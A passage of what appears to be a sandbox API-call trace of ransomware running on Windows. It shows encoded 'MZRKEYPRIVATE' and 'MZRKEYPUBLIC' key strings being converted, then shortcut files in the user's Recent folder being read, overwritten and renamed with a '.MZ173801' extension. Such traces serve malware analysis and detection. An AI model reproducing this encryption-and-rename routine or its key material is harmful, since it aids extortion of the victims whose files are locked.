lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.076] GetCurrentThreadId () returned 0xab4 [0153.076] GetCurrentThreadId () returned 0xab4 [0153.076] GetCurrentThreadId () returned 0xab4 [0153.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.077] GetCurrentThreadId () returned 0xab4 [0153.077] GetCurrentThreadId () returned 0xab4 [0153.077] GetCurrentThreadId () returned 0xab4 [0153.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.077] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.077] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.077] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f3 [0153.077] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.077] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f3, lpOverlapped=0x0) returned 1 [0153.077] CloseHandle (hObject=0x280) returned 1 [0153.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.079] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f3, lpOverlapped=0x0) returned 1 [0153.080] CloseHandle (hObject=0x280) returned 1 [0153.082] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk.mz173801")) returned 1 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] GetCurrentThreadId () returned 0xab4 [0153.082] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f9aa2e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x598fe3a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x598fe3a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z 7ggJ8.lnk", cAlternateFileName="Z7GGJ8~1.LNK")) returned 1 [0153.082] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.083] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f9aa2e, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x598fe3a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x598fe3a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40f)) returned 1 [0153.083] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk")) returned 0x20 [0153.083] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk", dwFileAttributes=0x80) returned 1 [0153.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.086] GetCurrentThreadId () returned 0xab4 [0153.086] GetCurrentThreadId () returned 0xab4 [0153.086] GetCurrentThreadId () returned 0xab4 [0153.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 